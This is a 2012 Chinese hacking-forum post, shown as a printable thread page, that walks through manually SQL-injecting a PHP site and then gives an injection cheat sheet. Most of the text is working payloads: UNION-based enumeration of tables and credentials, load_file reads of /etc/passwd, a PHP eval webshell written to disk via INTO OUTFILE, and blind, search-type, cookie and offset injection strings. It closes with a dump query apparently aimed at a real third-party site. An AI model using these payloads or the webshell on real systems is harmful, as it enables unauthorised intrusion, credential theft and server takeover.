中国网络渗透测试联盟

标题: 手工注入拿下一站 [打印本页]

作者: admin    时间: 2012-9-23 14:47
标题: 手工注入拿下一站
我一个朋友维护一个站点,他对安全不是很懂,就像我一样,呵呵 !O(∩_∩)O~: `  d; g/ w- l0 \9 c# Z
让我看看,既然人家开口了,我也不好拒绝,那就看看吧?
7 v% H* U* x8 c我个人喜欢先看有没有上传的地方(上传可是好东西,可以直接拿shell'),其次就是看看什么程序,有没有通杀,然后就是后台,最后看看注入。。。。
$ Q) m9 D6 e6 h, |0 G0 a2 C如果是php程序我会先找注入,呵呵!(这个不用我说你们也知道是什么原因咯,废话了,主题开始。。。)
! ?9 l! r7 t; Q3 ^$ [1.打开地址,发现是php程序,呵呵.既然是php程序,先找找注入吧?看看有没有交互的地方,(所谓交互就是像news.php?id=1,news.asp?id=1这样的,)
2 m+ i( H! Y6 ]$ L这个站很悲剧,随便点开一个链接加一个 ’ 结果悲剧了,爆出:
/ u' J6 w1 g  R( y* mWarning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in2 y" H" B" p- O5 G& _
/data/home/nus42j1/htdocs/news.php on line 59 ,物理路径出来了,到这一步啊,已经可以证实存在注入" D6 V3 p* {: X: w) q
                         . s6 [% R. H1 J
2.不过既然是学习,我们就要一步一步的来,还是老规矩 and 1=1 ,and 1=2 ,返回结果不一样,证明存在注入,
7 x8 ?2 n. i2 ~" ^3.下一步很自然的查询字段数:用order by+二分法,加上order by 8 返回正常,order by 9 不正常。说明字段数为8 ,继续提交 and 1=2 union select 1,2,3,4,5,6,7,8 - -返回一个3   ,一个5 ,说明可以利用字段数才两个,有时候会有很多个哦,要注意0 J% A. v: _; y1 c! M
4.继续提交and 1=2 union select 1,2,user(),4,version(),6,7,8-- ,当然还有database(),等等.......返回版本,用户等等系列信息3 n6 j! D0 m  d  O
5.rp差了一点,不是root权限,不过版本大于5.0,支持虚拟库information_schema。
! ?2 P( r) V8 d有两种思路:1.使用Load_file函数获取数据库账号密码,通过操作数据库获取webshell,; v4 t2 K; H5 @# Z. I: F
2.继续爆出数据库里的表名和列名,登陆后台想办法上传获取webshell。- J- A4 G- u! I# d
我就用的是第二个思路,' z4 J3 E6 x, i& h; r  S, L
提交and 1=2 union select 1,2,3,4,table_name,6,7,8  from information_schema.tables where table_schema=database() limit 0,1--  0 \3 X6 i5 W7 n. H7 X( c" F' ]
6.由于数据库表比较多,这里有48个表,我只是做检测,原理是这样,剩下的只要把 limit 0,1 中的0一次往上加可以爆出所有表名,然后是获取表里的字段,/ B. e0 ?* m, y
提交:and 1=2 union select 1,2,3,4, COLUMN_NAME,6,7,8 from information_schema.columns where table_name=0x635F61646D696E5F616373696F6E limit 0,1--% W; g1 U5 y. Z: y% c9 H
注意:这里的0x635F61646D696E5F616373696F6E是kc_admin_action 表的十六进制表示,得到密码账号后就到md5破解网站进行破解。
9 |; L9 C9 y1 m7 ?" q7.到这里呢我该结束了,还要提供给我朋友修补的意见,不过写了这么多了,也不怕在写一点,延伸思路,如果你的密文md5破不出来呢????怎么办????
3 h5 j  R$ }  a" z$ W是不是放弃了,当然不是,看看开了什么端口,如果是centos,lamp环境。我们自然是用load_file了,先验证有读的权限, /etc/passwd.....5 M( Y( j* l! R. b9 _3 Q
提交:and 1=2 union select 1,2,3,4,load_file(你要找的东东),6,7,8 --) L' N. v2 b5 k5 \) _8 W
然后你就找你要的信息,主要是一些敏感文件,还有就是有没有前辈留下的东西,比如某些记录口令保存在本地的东东,我们还可以通过操作数据库备份出来一个shell,
0 V1 A& q, P: O" S5 r( [1 I& O. y调出mysql命令,执行:Select '<?php eval($_POST[cmd]);?>' into outfile '/xxx/xxx/1.php ,也可以分步执行建立一个临时表插入一句话,然后备份,前者比较简单并且不容易误删什么东西。前提是我们要有写入权限......) j  S/ D0 b6 U$ V* ~% q  x# Z
下面是一些很普遍注入方式资料:/ x" p7 a" ^) @
注意:对于普通的get注入,如果是字符型,前加' 后加 and ''='
0 L3 I9 x7 \' M4 @( @" q. _9 ?( A+ z拆半法
5 A  T! ]8 J+ u! N5 M######################################
  i- _* M  n" `2 R7 Q( uand exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库,MSysAccessObjects是ACCESS的默认表。* G* ^' j4 u* a6 P/ x
and exists (select * from admin)
0 d0 d) I5 B' u+ land exists(select id from admin)
& [1 v; t; j. l/ }and exists(select id from admin where id=1). Y  K: _+ B+ b5 v
and exists(select id from admin where id>1)
% C- d2 T* t  k7 D& `  d然后再测试下id>1 正常则说明不止一个ID 然后再id<50 确定范围 4 G6 O' w  F/ |. m+ H
and exists (select username from admin)
; k* I  f3 P: I5 R6 w# Pand exists (select password from admin)
. k! F* u5 X7 U1 d8 A. Jand exists (select id from admin where len(username)<10 and id=1)
, ~/ s5 q& z  x3 |8 xand exists (select id from admin where len(username)>5 and id=1)* T% z4 q8 `1 P( H
and exists (select id from admin where len(username)=6 and id=1)
  I& v2 W4 M2 {1 band exists (select id from admin where len(password)<10 and id=1)* }2 W6 z! y3 p& p. M
and exists (select id from admin where len(password)>5 and id=1)
/ p1 K7 |3 P1 }/ |! z3 Wand exists (select id from admin where len(password)=7 and id=1)
4 b6 w1 S" l; a  v" iand (select top 1 asc(mid(username,1,1)) from admin)=97
8 Y; p! R- P# E! S- |3 L返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。4 C. {) Y9 l1 Y+ z
猜第二位把username,1,1改成username,2,1就可以了。% E* [! m% Z/ d. e( ~
猜密码把username改成password就OK了
) b; o; v( s, S- |##################################################& @- i& t+ Z) Y# F0 ~: G
搜索型注入8 R! a7 _. a, S9 [& M$ y- c- N
##################################
% l! l+ d, I6 C& V/ g8 O/ c%' and 1=1 and '%'='
! w* T; O4 O0 k- H%' and exists (select * from admin) and '%'='
- M3 r8 P: a* ^$ R%' and exists(select id from admin where id=1) and '%'='* Y4 T, Q+ ~/ [. b1 O# t9 `
%' and exists (select id from admin where len(username)<10 and id=1) and '%'='; C+ T7 H/ d, i
%' and exists (select id from admin where len(password)=7 and id=1) and '%'='' r7 \- V# n% b6 r2 K3 e; Q5 v
%' and (select top 1 asc(mid(username,1,1)) from admin)=97 and '%'='& R' W: |8 G" p$ @: v2 H
这里也说明一下,搜索型注入也无他,前加%' 后加 and '%'='6 U$ z2 m7 A9 `( r7 N
对于MSSQL数据库,后面可以吧 and '%'='换成--
2 _* J% p+ x* T7 E还有一点搜索型注入也可以使用union语句。  s5 L9 S; b7 P7 }' a- m$ b& u
########################################################
$ z' K6 u. b! z) z1 Z, Y- P联合查询。
; U0 \# B3 r9 n#####################################
6 e5 Z, f7 C( u, ?# gorder by 10. V2 Q' l5 z9 V. E$ K. [9 A
and 1=2 union select 1,2,3,4,5,6,7,8,9,109 D; h, B1 m2 i7 U: |( R
and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin
* z9 Y4 k9 G& t. ?. K- V" V/ f# yand 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin where id=1
" K8 {8 J) v( G6 G( n- g7 L' Q很简单。有一点要说明一下,where id=1 这个是爆ID=1的管理员的时候,where id=1就是爆ID=2的管理用的,一般不加where id=1这个限制语句,应该是爆的最前面的管理员吧!(注意,管理的id是多少可不一定哈,说不定是100呢!)' Z# p) J$ e/ h+ Q/ W
###################################
% m# j1 s1 O2 l6 j# X+ W: ]+ K% J0 ucookie注入& e* ^" c3 P4 K
###############################$ @: D+ y5 ]% |. T& s  ]; N  `& [
http://www.******.com/shownews.asp?id=1277 a" h3 b4 u* Q) i# o0 E+ v
http://www.******.com/shownews.asp% d' M& }0 s( Z8 Y
alert(="id="+escape("127"));" v5 o8 H1 A6 |
alert(="id="+escape("127 and 1=1"));
7 Z0 y" u/ h( ~3 [$ t. o5 H) nalert(="id="+escape("127 order by 10"));# e! ?# W% L2 F! `( Q
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin"));
8 \1 g* x8 O, Xalert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin where id=1"));
! p. \& g0 @4 Z+ L" t这些东西应该都不用解释了吧,给出语句就行了吧。这里还是用个联合查询,你把它换成拆半也一样,不过不太适合正常人使用,因为曾经有人这样累死过。
$ `7 D/ I; ?4 n###################################8 J1 i* F+ Z1 M5 x. q1 ?' k! P7 N1 v* p
偏移注入# q% l& T) ]$ H' Y: F8 C
###########################################################
3 Z! `" [5 b8 }: |( e8 D6 wunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin
2 ?9 ?+ H3 ~+ {, L3 eunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin
# ~. X" x: ^" |- d. l# H6 Bunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id)# W0 e6 u6 g* }2 Z( h
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id)9 V1 Z0 ]9 ]1 B
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)$ y3 {  H* M2 n+ Q4 _4 S
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)6 ?7 _6 I" W: u6 \7 C4 m1 ]4 u3 [
union select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on
/ l' _/ p2 q( Ia.id=d.id)  @/ z6 M2 A6 P. n
and 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id)
# P$ [1 [6 q% _% k6 S' I  ?and 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
) x6 p; _: S7 M7 Q- }9 K  8 z, `  `  }7 M5 f
============================================================================================================9 k9 z: y# h5 Z! f" _
1.判断版本
, A- f. s7 U; E" n$ e- c7 O$ Yand ord(mid(version(),1,1))>51
' f! ]1 e( D) n) @+ U7 \. N7 N返回正常,说明大于4.0版本,支持ounion查询
: e: a, i" X3 o5 e& O: K  [0 {  Q2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解
/ I# j/ g4 [9 q, D: S, gand 2=4 union select 1,2,3,4,5,6,7,8,9--
; c6 a$ j$ _, ?. e& X1 M9 Y3.查看数据库版本及当前用户,& n: i, M3 T& A
and 2=4 union select 1,user(),version(),4,5,6,7,8,9--) j; Z; U/ M& g! ~& r9 y6 h% L2 b3 P/ A0 N
数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假,
: U% k. b  d" F+ @$ y$ {( K4.判断有没有写权限% }8 v4 J6 A2 }3 x; m1 ?* T$ \
and (select count(*) from MySQL.user)>0--
: O' O  V  S" K- v' h" C5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,1; b8 m. m0 n, H9 p/ U
用不了这个命令,就学习土耳其黑客手法,如下2 q' {9 X/ V2 P2 {- m
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--  J, [4 R3 l, S" i' @2 c9 f7 C
6.爆表,爆库
7 L6 d( {8 ^: j6 g2 o/ A: G, Fand+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--4 O- X/ m! g2 h1 R$ i% \
7.爆列名,爆表
5 d9 X( R( A$ J& a" N; B8 g; N  ^. [* Oand+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--
- [( _4 Q- B" }) N8 _8.查询字段数,直接用limit N,1去查询,直接N到报错为止。
/ T2 M7 C# Q0 Y0 z! ], l6 r9 jand+1=0+union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--
# o* ~0 Q3 e! w) s+ P/ u) P! ?9.爆字段内容& ]$ G& Q, E2 M) X
and+1=0+union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--4 ]3 f! N, ~" h4 {3 W6 {4 g
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1--
作者: xiancda    时间: 2012-9-24 21:40
非常好的归纳。坐下慢慢看~
作者: wuyu    时间: 2012-9-25 18:53
谢谢分享,学习思路啊




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2